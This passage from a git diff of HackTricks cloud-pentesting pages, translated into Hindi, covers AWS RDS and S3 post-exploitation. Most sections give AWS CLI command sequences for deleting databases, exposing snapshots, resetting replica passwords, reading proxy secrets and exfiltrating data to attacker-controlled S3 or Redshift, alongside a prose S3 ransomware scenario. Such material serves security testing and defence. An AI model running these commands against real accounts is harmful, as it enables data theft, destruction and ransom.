RDS instance या पूरे क्लस्टर को तुरंत बंद कर सकते हैं, जिससे डेटाबेस अनुपलब्धता, कनेक्शन टूटना और डेटाबेस पर निर्भर प्रक्रियाओं का बाधित होना हो सकता है। + +एक हमलावर जिसके पास rds:StopDBCluster या rds:StopDBInstance अनुमति हो, वह किसी RDS instance या पूरे cluster को तुरंत रोक सकता है, जिससे database अनुपलब्धता, टूटे हुए कनेक्शन, और उन प्रक्रियाओं का व्यवधान हो सकता है जो डेटाबेस पर निर्भर हैं। एकल DB instance को रोकने के लिए (उदाहरण): ```bash aws rds stop-db-instance \ --db-instance-identifier ``` -एक पूरे DB cluster को रोकने के लिए (उदाहरण): +पूरे DB cluster को बंद करने के लिए (उदाहरण): ```bash aws rds stop-db-cluster \ --db-cluster-identifier ``` ### `rds:Delete*` -rds:Delete* प्राप्त एक attacker RDS resources को हटा सकता है — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups और संबंधित artifacts को डिलीट करके — जिससे तत्काल सेवा में व्यवधान, डेटा हानि, रिकवरी पॉइंट्स का विनाश और फॉरेंसिक सबूतों का नुकसान हो सकता है। +rds:Delete* की अनुमति प्राप्त attacker RDS resources को हटा सकता है — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups और संबंधित artifacts हटाकर — जिससे तुरंत service outage, data loss, recovery points का नाश और forensic evidence का नुकसान हो सकता है। ```bash # Delete a DB instance (creates a final snapshot unless you skip it) aws rds delete-db-instance \ @@ -76,9 +77,9 @@ aws rds delete-db-cluster \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -इन अनुमतियों वाले हमलावर **एक DB का snapshot बना सकता है** और उसे **सार्वजनिक** **उपलब्ध** कर सकता है। फिर वह अपने खाते में उसी snapshot से DB बना सकता है। +इन permissions के साथ एक attacker **DB का snapshot बना सकता है** और उसे **सार्वजनिक रूप से** **उपलब्ध** कर सकता है। फिर वह अपने ही account में उस snapshot से एक DB बना सकता है। -यदि हमलावर **`rds:CreateDBSnapshot` के पास नहीं है**, तो भी वह **अन्य** बनाए गए snapshots को **सार्वजनिक** कर सकता है। +यदि attacker के पास **`rds:CreateDBSnapshot` नहीं है**, तो भी वह बनाए गए **अन्य** snapshots को **सार्वजनिक** कर सकता है। ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -89,35 +90,35 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -एक attacker जिसके पास `rds:DownloadDBLogFilePortion` permission है, वह **download portions of an RDS instance's log files** कर सकता है। यदि sensitive data या access credentials गलती से logged हो जाते हैं, तो attacker संभावित रूप से इस जानकारी का उपयोग करके अपने privileges escalate कर सकता है या unauthorized actions कर सकता है। +एक हमलावर जिसके पास `rds:DownloadDBLogFilePortion` अनुमति है, वह **RDS instance की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या एक्सेस क्रेडेंशियल्स गलती से लॉग में दर्ज हो जाएँ, तो हमलावर इन जानकारियों का उपयोग करके अपनी अनुमतियाँ बढ़ा सकता है या अनधिकृत क्रियाएँ कर सकता है। ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**संभावित प्रभाव**: leaked credentials का उपयोग करके संवेदनशील जानकारी तक पहुँच या अनधिकृत क्रियाएँ हो सकती हैं। +**Potential Impact**: संवेदनशील जानकारी तक पहुँच या leaked credentials का उपयोग करके अनधिकृत क्रियाएँ। ### `rds:DeleteDBInstance` -इन permissions वाले attacker **DoS existing RDS instances** कर सकते हैं। +एक attacker इन permissions के साथ **DoS existing RDS instances** कर सकता है। ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potential impact**: मौजूदा RDS इंस्टेंस का नष्ट होना, और डेटा का संभावित नुकसान। +**Potential impact**: मौजूदा RDS इंस्टेंसों को हटाना और संभावित डेटा हानि। ### `rds:StartExportTask` > [!NOTE] > TODO: परीक्षण -एक हमलावर के पास इस अनुमति होने पर वह **RDS instance snapshot को S3 bucket में export कर सकता है**। यदि हमलावर के पास लक्ष्य S3 bucket पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक पहुंच सकते हैं। +इस अनुमति वाले हमलावर के पास **RDS इंस्टेंस का स्नैपशॉट S3 bucket में निर्यात करने** की क्षमता हो सकती है। यदि हमलावर गंतव्य S3 bucket पर नियंत्रण रखते हैं, तो वे निर्यात किए गए स्नैपशॉट में मौजूद संवेदनशील डेटा तक पहुंच सकते हैं। ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Potential impact**: निर्यात किए गए स्नैपशॉट में संवेदनशील डेटा तक पहुँच। +**संभावित प्रभाव**: निर्यात किए गए snapshot में संवेदनशील डेटा तक पहुँच। ### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) -Cross-Region automated backups replication का दुरुपयोग करके चुपचाप किसी RDS instance के automated backups को किसी दूसरे AWS Region में duplicate कर वहाँ restore किया जा सकता है। attacker फिर restored DB को सार्वजनिक रूप से accessible बना सकता है और master password reset करके out-of-band तरीके से डेटा एक्सेस कर सकता है, ऐसे Region में जहाँ defenders शायद निगरानी नहीं रखते। +Abuse cross-Region automated backups replication को दुरुपयोग करके चुपचाप किसी RDS instance के automated backups को किसी अन्य AWS Region में duplicate करें और वहाँ restore करें। इसके बाद हमलावर restored DB को सार्वजनिक रूप से accessible बना सकता है और master password reset कर सकता है ताकि वह किसी ऐसे Region में out-of-band डेटा तक पहुँच सके जहाँ defenders संभवतः निगरानी न करें। आवश्यक अनुमतियाँ (न्यूनतम): - `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region @@ -127,7 +128,7 @@ Cross-Region automated backups replication का दुरुपयोग क - `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) -प्रभाव: प्रोडक्शन डेटा की एक कॉपी को दूसरे Region में restore करके और उसे attacker-controlled credentials के साथ सार्वजनिक रूप से एक्सपोज़ करके persistence और डेटा निकासी। +प्रभाव: production data की एक copy को किसी अन्य Region में restore करके उसे सार्वजनिक रूप से expose करने और attacker-controlled credentials के साथ access प्राप्त करने के माध्यम से Persistence और data exfiltration।
End-to-end CLI (placeholders बदलें) @@ -199,26 +200,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### DB parameter groups के माध्यम से पूर्ण SQL लॉगिंग सक्षम करें और RDS log APIs के जरिए exfiltrate करें +### DB parameter groups के माध्यम से पूरा SQL logging सक्षम करें और RDS log APIs के जरिए exfiltrate करें -`rds:ModifyDBParameterGroup` का उपयोग करके RDS log download APIs के साथ applications द्वारा execute किए गए सभी SQL statements को capture करें (कोई DB engine credentials आवश्यक नहीं)। Engine SQL logging को सक्षम करें और फाइल लॉग्स को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` (या REST `downloadCompleteLogFile`) के माध्यम से प्राप्त करें। यह उन queries को इकट्ठा करने में उपयोगी है जिनमें secrets/PII/JWTs हो सकते हैं। +`rds:ModifyDBParameterGroup` का दुरुपयोग करके RDS log download APIs के साथ applications द्वारा execute किए गए सभी SQL statements को capture करें (कोई DB engine credentials आवश्यक नहीं)। Engine SQL logging सक्षम करें और फ़ाइल लॉग्स को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` (या REST `downloadCompleteLogFile`) के माध्यम से निकालें। यह उन क्वेरीज को इकट्ठा करने के लिए उपयोगी है जिनमें secrets/PII/JWTs हो सकते हैं। -आवश्यक अनुमतियाँ (न्यूनतम): +Permissions needed (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (केवल तब जब instance default parameter group उपयोग कर रहा हो, custom parameter group attach करने के लिए) -- `rds:RebootDBInstance` (उन parameters के लिए जो reboot की आवश्यकता रखते हैं, जैसे PostgreSQL) +- `rds:ModifyDBInstance` (केवल तब जब instance default parameter group use कर रहा हो और custom parameter group attach करना हो) +- `rds:RebootDBInstance` (उन parameters के लिए जिनके लिए reboot आवश्यक है, जैसे PostgreSQL) -कदम -1) Recon target और current parameter group की पहचान करें +Steps +1) लक्ष्य और वर्तमान parameter group की जाँच करें ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) सुनिश्चित करें कि एक custom DB parameter group संलग्न है (default को संपादित नहीं किया जा सकता) -- यदि instance पहले से ही किसी custom group का उपयोग कर रहा है, तो अगले चरण में उसका नाम पुनः उपयोग करें। -- अन्यथा engine family से मेल खाता हुआ एक group बनाकर संलग्न करें: +2) सुनिश्चित करें कि एक कस्टम DB parameter group जुड़ा हुआ है (डिफ़ॉल्ट को संपादित नहीं किया जा सकता) +- यदि instance पहले से ही किसी कस्टम group का उपयोग कर रहा है, तो उसके नाम का अगले चरण में पुनः उपयोग करें। +- अन्यथा, engine family के अनुरूप एक बनाकर संलग्न करें: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -233,7 +234,7 @@ aws rds modify-db-instance \ # Wait until status becomes "available" ``` 3) विस्तृत SQL लॉगिंग सक्षम करें -- MySQL engines (तत्काल / बिना रिबूट): +- MySQL engines (तुरंत / बिना रीबूट): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -244,7 +245,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL engines (रिबूट आवश्यक): +- PostgreSQL इंजिनों (रीबूट आवश्यक): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -256,11 +257,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) वर्कलोड चलने दें (या queries जनरेट करें)। स्टेटमेंट्स engine फ़ाइल लॉग्स में लिखे जाएंगे +4) वर्कलोड चलने दें (या क्वेरीज जनरेट करें)। स्टेटमेंट्स engine फ़ाइल लॉग में लिखे जाएंगे - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) लॉग्स खोजें और डाउनलोड करें (कोई DB creds आवश्यक नहीं) +5) लॉग खोजें और डाउनलोड करें (no DB creds required) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -271,18 +272,18 @@ aws rds download-db-log-file-portion \ --starting-token 0 \ --output text > dump.log ``` -6) संवेदनशील डेटा के लिए ऑफलाइन विश्लेषण करें +6) संवेदनशील डेटा का ऑफ़लाइन विश्लेषण ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -उदाहरण साक्ष्य (संशोधित): +उदाहरण साक्ष्य (संपादित): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` सफाई -- पैरामीटर को डिफ़ॉल्ट पर वापस करें और यदि आवश्यक हो तो रिबूट करें: +- पैरामीटरों को डिफ़ॉल्ट पर पुनर्स्थापित करें और आवश्यकता होने पर रिबूट करें: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -297,19 +298,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -प्रभाव: Post-exploitation डेटा एक्सेस — सभी application SQL statements को AWS APIs के माध्यम से capture करके (कोई DB creds नहीं), potentially leaking secrets, JWTs, और PII। +प्रभाव: Post-exploitation डेटा पहुँच — AWS APIs के माध्यम से सभी application SQL statements को capture करके (no DB creds), संभावित रूप से secrets, JWTs, और PII leak हो सकते हैं। ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -RDS read replicas का दुरुपयोग करके primary instance credentials को छुए बिना out-of-band read access हासिल किया जा सकता है। एक attacker production instance से एक read replica बना सकता है, replica का master password reset कर सकता है (यह primary को बदलता नहीं है), और वैकल्पिक रूप से replica को सार्वजनिक रूप से एक्सपोज़ करके data को exfiltrate कर सकता है। +Abuse RDS read replicas करके primary instance credentials को छुए बिना out-of-band read access हासिल किया जा सकता है। एक attacker production instance से एक read replica बना सकता है, replica का master password reset कर सकता है (यह primary को बदलता नहीं है), और वैकल्पिक रूप से replica को publicly expose करके data को exfiltrate कर सकता है। -आवश्यक permissions (न्यूनतम): +Permissions needed (minimum): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (यदि सार्वजनिक रूप से एक्सपोज़ कर रहे हों) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) -प्रभाव: attacker-controlled credentials वाले replica के माध्यम से production data तक read-only access; detection की संभावना कम रहती है क्योंकि primary untouched रहता है और replication जारी रहती है। +प्रभाव: attacker-controlled credentials वाले replica के माध्यम से production data तक read-only पहुँच; primary अप्रभावित रहता है और replication जारी रहती है, इसलिए detection की संभावना कम होती है। ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -341,12 +342,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # aws rds promote-read-replica --db-instance-identifier ``` उदाहरण साक्ष्य (MySQL): -- रेप्लिका DB स्थिति: `available`, read replication: `replicating` -- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` ने read-only रेप्लिका एक्सेस की पुष्टि की। +- Replica DB स्थिति: `available`, read replication: `replicating` +- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` पढ़ने-केवल replica पहुंच की पुष्टि करता है। ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -RDS Blue/Green का दुरुपयोग करके production DB को एक लगातार प्रतिकृत, read‑only green environment में क्लोन करें। फिर green master credentials को रीसेट करके बिना blue (prod) instance को छुए डेटा तक पहुँच हासिल करें। यह snapshot sharing की तुलना में अधिक चुपचाप है और अक्सर केवल स्रोत पर केंद्रित निगरानी को बायपास कर देता है। +RDS Blue/Green का दुरुपयोग करके production DB को क्लोन कर एक लगातार प्रतिकृत, read‑only green environment बना लें। फिर green master credentials को रिसेट करके डेटा तक पहुंच हासिल करें बिना blue (prod) instance को छुए। यह snapshot sharing की तुलना में अधिक गुप्त होता है और अक्सर केवल स्रोत पर केंद्रित निगरानी को बायपास कर देता है। ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -393,21 +394,21 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -प्रभाव: बिना production instance को modify किए production के near-real-time क्लोन तक केवल-पढ़ने (read-only) पर भी पूरा डेटा एक्सेस। चोरी-छिपे data extraction और offline analysis के लिए उपयोगी। +प्रभाव: पढ़ने-केवल लेकिन प्रोडक्शन के लगभग रीयल-टाइम क्लोन तक पूरा डेटा एक्सेस, बिना प्रोडक्शन इंस्टेंस को संशोधित किए। स्टील्थी डेटा एक्सट्रैक्शन और ऑफ़लाइन विश्लेषण के लिए उपयोगी। ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Aurora का दुरुपयोग करके target cluster पर RDS Data API HTTP endpoint को सक्षम करें, master password को अपने नियंत्रण वाले मान पर reset करें, और HTTPS पर SQL चलाएँ (कोई VPC network path आवश्यक नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint को सपोर्ट करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL versions)। +Aurora का दुरुपयोग करके टारगेट क्लस्टर पर RDS Data API HTTP endpoint सक्षम करें, master password को अपनी नियंत्रित वैल्यू में रीसेट करें, और HTTPS के ऊपर SQL चलाएँ (किसी VPC नेटवर्क पाथ की आवश्यकता नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint को सपोर्ट करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL वर्ज़न)। अनुमतियाँ (न्यूनतम): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -प्रभाव: नेटवर्क segmentation को bypass करके AWS APIs के माध्यम से बिना DB के साथ direct VPC connectivity के डेटा exfiltrate करें। +प्रभाव: नेटवर्क सेगमेंटेशन को बायपास करके AWS APIs के माध्यम से डेटा एक्सफिल्ट्रेट करें बिना DB के साथ डायरेक्ट VPC कनेक्टिविटी के।
-एंड-टू-एंड CLI (Aurora MySQL उदाहरण) +End-to-end CLI (Aurora MySQL उदाहरण) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -459,24 +460,24 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ ```
-Notes: -- यदि multi-statement SQL को `rds-data` द्वारा अस्वीकार कर दिया जाता है, तो अलग-अलग `execute-statement` कॉल्स जारी करें। -- जिन engines में `modify-db-cluster --enable-http-endpoint` का कोई प्रभाव नहीं होता, वहां `rds enable-http-endpoint --resource-arn` का उपयोग करें। -- सुनिश्चित करें कि engine/version वास्तव में Data API को सपोर्ट करता है; अन्यथा `HttpEndpointEnabled` False ही रहेगा। +नोट: +- यदि multi-statement SQL को rds-data द्वारा अस्वीकार किया जाता है, तो अलग-अलग execute-statement कॉल जारी करें। +- उन engines के लिए जहां modify-db-cluster --enable-http-endpoint का कोई प्रभाव नहीं होता, rds enable-http-endpoint --resource-arn का उपयोग करें। +- सुनिश्चित करें कि engine/version वास्तव में Data API को सपोर्ट करता है; अन्यथा HttpEndpointEnabled False ही रहेगा। -### RDS Proxy auth secrets के माध्यम से DB credentials हासिल करना (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### RDS Proxy auth secrets के माध्यम से DB credentials प्राप्त करें (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -RDS Proxy configuration का दुरुपयोग करके यह पता करें कि backend authentication के लिए कौन सा Secrets Manager secret इस्तेमाल हो रहा है, और फिर database credentials प्राप्त करने के लिए उस secret को पढ़ें। कई वातावरण व्यापक `secretsmanager:GetSecretValue` अनुमतियाँ प्रदान करते हैं, जिससे यह DB creds की ओर एक कम-घर्षण pivot बन जाता है। यदि secret एक CMK का उपयोग करता है, तो गलत-स्कोप्ड KMS permissions `kms:Decrypt` की अनुमति भी दे सकते हैं। +RDS Proxy configuration का दुरुपयोग करके Secrets Manager में उपयोग होने वाला secret खोजें जो backend authentication के लिए है, फिर उस secret को पढ़कर database credentials प्राप्त करें। कई वातावरण व्यापक `secretsmanager:GetSecretValue` अनुमति देते हैं, जिससे यह DB creds पर पहुँचने का कम प्रतिरोध वाला रास्ता बनता है। यदि secret किसी CMK का उपयोग करता है, तो गलत-स्कोप्ड KMS permissions भी `kms:Decrypt` की अनुमति दे सकते हैं। -Permissions needed (minimum): +आवश्यक permissions (न्यूनतम): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` on the referenced SecretArn - Optional when the secret uses a CMK: `kms:Decrypt` on that key -Impact: proxy पर कॉन्फ़िगर किए गए DB username/password का तुरंत खुलासा; सीधे DB access या आगे के lateral movement को सक्षम करता है। +प्रभाव: प्रॉक्सी पर कॉन्फ़िगर किया गया DB username/password तुरंत उजागर हो सकता है; यह सीधे DB access या आगे lateral movement की अनुमति देता है। -Steps +कदम ```bash # 1) Enumerate proxies and extract the SecretArn used for auth aws rds describe-db-proxies \ @@ -508,16 +509,16 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -सफाई (लैब) +साफ-सफाई (लैब) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### छुपा हुआ निरंतर exfiltration Aurora zero‑ETL के माध्यम से Amazon Redshift तक (rds:CreateIntegration) +### चुपके से सतत exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) -दुरुपयोग करें Aurora PostgreSQL zero‑ETL इंटीग्रेशन का ताकि आप नियंत्रित करने वाले Redshift Serverless namespace में production डेटा को लगातार replicate कर सकें। ऐसी permissive Redshift resource policy जो किसी विशिष्ट Aurora cluster ARN के लिए CreateInboundIntegration/AuthorizeInboundIntegration को authorize करे, एक attacker को DB creds, snapshots या network exposure के बिना एक near‑real‑time डेटा कॉपी स्थापित करने देती है। +Aurora PostgreSQL zero‑ETL integration का दुरुपयोग करके production डेटा को लगातार आपके नियंत्रण वाले Redshift Serverless namespace में replicate किया जा सकता है। एक permissive Redshift resource policy जो किसी specific Aurora cluster ARN के लिए CreateInboundIntegration/AuthorizeInboundIntegration को authorize करती है, एक attacker को DB creds, snapshots या network exposure के बिना near‑real‑time डेटा कॉपी स्थापित करने की अनुमति दे सकती है। Permissions needed (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` @@ -544,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Redshift संसाधन नीति को Aurora स्रोत को अनुमति देने के लिए कॉन्फ़िगर करें +2) Aurora स्रोत को अनुमति देने के लिए Redshift resource policy कॉन्फ़िगर करें ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -575,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Aurora PostgreSQL cluster बनाएँ (Data API और logical replication सक्षम करें) +3) Aurora PostgreSQL क्लस्टर बनाएं (Data API और logical replication सक्षम करें) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -606,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) RDS से zero‑ETL integration बनाएँ +4) RDS से zero‑ETL इंटीग्रेशन बनाएं ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -618,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Redshift में प्रतिकृत डेटा को materialize करें और query करें +5) Redshift में प्रतिकृत डेटा को materialize और query करें ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -634,9 +635,8 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d परीक्षण में देखे गए प्रमाण: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... - SVV_INTEGRATION ने integration_id 377a462b-c42c-4f08-937b-77fe75d98211 और state PendingDbConnectState दिखाया, DB creation से पहले। -- CREATE DATABASE FROM INTEGRATION के बाद, tables की सूची में schema ztl और table customers दिखाई दिए; ztl.customers से select करने पर 2 rows (Alice, Bob) लौटे। - -प्रभाव: आक्रमणकर्ता द्वारा नियंत्रित Redshift Serverless में चुनी गई Aurora PostgreSQL तालिकाओं का निरंतर निकट-रियल-टाइम exfiltration, स्रोत क्लस्टर तक database credentials, backups, या network access का उपयोग किए बिना। +- CREATE DATABASE FROM INTEGRATION के बाद, tables सूची करने पर schema ztl और table customers सामने आए; ztl.customers से select करने पर 2 rows (Alice, Bob) लौटे। +प्रभाव: हमलावर द्वारा नियंत्रित Redshift Serverless में चुनी गई Aurora PostgreSQL तालिकाओं का निरंतर near‑real‑time exfiltration, बिना database credentials, backups, या source cluster तक network access का उपयोग किए। {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 1f66d6148..0c46fa657 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -12,30 +12,30 @@ For more information check: ### Sensitive Information -कभी-कभी आप buckets में पठनीय रूप में संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform state secrets। +कभी-कभी आप buckets में पढ़ने योग्य रूप में संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform state secrets. ### Pivoting विभिन्न प्लेटफ़ॉर्म S3 का उपयोग संवेदनशील assets स्टोर करने के लिए कर सकते हैं।\ -उदाहरण के लिए, **airflow** वहाँ **DAGs** **code** स्टोर कर सकता है, या **web pages** सीधे S3 से serve किए जा सकते हैं। जिनके पास write permissions हैं, वे bucket के code को **modify the code** कर के अन्य प्लेटफ़ॉर्म पर **pivot** कर सकते हैं, या JS फाइलें बदल कर **takeover accounts** कर सकते हैं। +उदाहरण के लिए, **airflow** वहाँ **DAGs** **code** स्टोर कर सकता है, या **web pages** सीधे S3 से सर्व की जा सकती हैं। एक attacker जिसके पास write permissions हैं, वह bucket के code को **modify the code** करके अन्य प्लेटफ़ॉर्म पर **pivot** कर सकता है, या JS फाइलें बदलकर **takeover accounts** कर सकता है। ### S3 Ransomware -इस परिदृश्य में, **हमलावर अपने ही AWS account में या किसी अन्य compromised account में एक KMS (Key Management Service) key बनाता है**। फिर वे इस **key को दुनिया के किसी भी व्यक्ति के लिए accessible बना देते हैं**, जिससे कोई भी AWS user, role, या account इस key का उपयोग करके objects को encrypt कर सकता है। हालाँकि, objects को decrypt नहीं किया जा सकता। +इस परिदृश्य में, **attacker अपने ही AWS account में या किसी अन्य compromised account में KMS (Key Management Service) key बनाता है**। फिर वे इस **key को दुनिया में किसी के लिए भी accessible** बना देते हैं, जिससे कोई भी AWS user, role, या account इस key का उपयोग करके objects को encrypt कर सकता है। हालाँकि, objects को decrypt नहीं किया जा सकता। -हमलावर एक target **S3 bucket पहचानता है और उस पर write-level access प्राप्त करता है** विभिन्न तरीकों से। यह खराब bucket configuration के कारण सार्वजनिक रूप से एक्सपोज़ होने के कारण हो सकता है या हमलावर ने खुद AWS environment तक पहुँच बना ली हो। हमलावर आम तौर पर उन buckets को निशाना बनाता है जिनमें संवेदनशील जानकारी होती है — जैसे PII, PHI, logs, backups, आदि। +attacker किसी target **S3 bucket and gains write-level access** को विभिन्न तरीकों से पहचानता/प्राप्त करता है। यह खराब bucket configuration के कारण सार्वजनिक रूप से उजागर होने से हो सकता है या attacker के AWS environment तक पहुँचने से भी। attacker आमतौर पर उन buckets को निशाना बनाते हैं जिनमें personally identifiable information (PII), protected health information (PHI), logs, backups, आदि जैसी संवेदनशील जानकारी होती है। -यह निर्धारित करने के लिए कि क्या bucket ransomware के लिए लक्षित किया जा सकता है, हमलावर इसकी configuration की जाँच करता है। इसमें यह सत्यापित करना शामिल है कि क्या **S3 Object Versioning** enabled है और क्या **multi-factor authentication delete (MFA delete)** enabled है। यदि Object Versioning enabled नहीं है, तो हमलावर आगे बढ़ सकता है। यदि Object Versioning enabled है पर MFA delete disabled है, तो हमलावर **Object Versioning को disable** कर सकता है। यदि दोनों Object Versioning और MFA delete enabled हैं, तो उस विशेष bucket को ransomware करना कठिन हो जाता है। +यह निर्धारित करने के लिए कि क्या bucket को ransomware के लिए लक्षित किया जा सकता है, attacker इसकी configuration की जाँच करता है। इसमें यह सत्यापित करना शामिल है कि **S3 Object Versioning** सक्षम है या नहीं और क्या **multi-factor authentication delete (MFA delete) is enabled**। यदि Object Versioning सक्षम नहीं है, तो attacker आगे बढ़ सकता है। यदि Object Versioning सक्षम है लेकिन MFA delete disabled है, तो attacker **disable Object Versioning** कर सकता है। यदि दोनों Object Versioning और MFA delete enabled हैं, तो उस विशिष्ट bucket को ransomware करना अधिक कठिन हो जाता है। -AWS API का उपयोग करके, हमलावर **हर ऑब्जेक्ट को bucket में उनके KMS key का उपयोग कर एक encrypted copy से बदल देता है**। यह प्रभावी रूप से bucket के डेटा को encrypt कर देता है, जिससे बिना key के वह डेटा inaccessible हो जाता है। +AWS API का उपयोग करके, attacker **replaces each object in the bucket with an encrypted copy using their KMS key**। यह प्रभावी रूप से bucket में मौजूद डेटा को encrypt कर देता है, जिससे बिना key के वह inaccessible हो जाता है। -अधिक दबाव डालने के लिए, हमलावर उस KMS key को delete करने का शेड्यूल कर देता है जिसका उपयोग आक्रमण में हुआ था। इससे लक्ष्य के पास अपने डेटा को recover करने के लिए 7-day विंडो मिलती है, उसके बाद key delete हो जाने पर डेटा स्थायी रूप से खो सकता है। +अधिक दबाव डालने के लिए, attacker उस KMS key के deletion को शेड्यूल कर देता है जिसका उपयोग 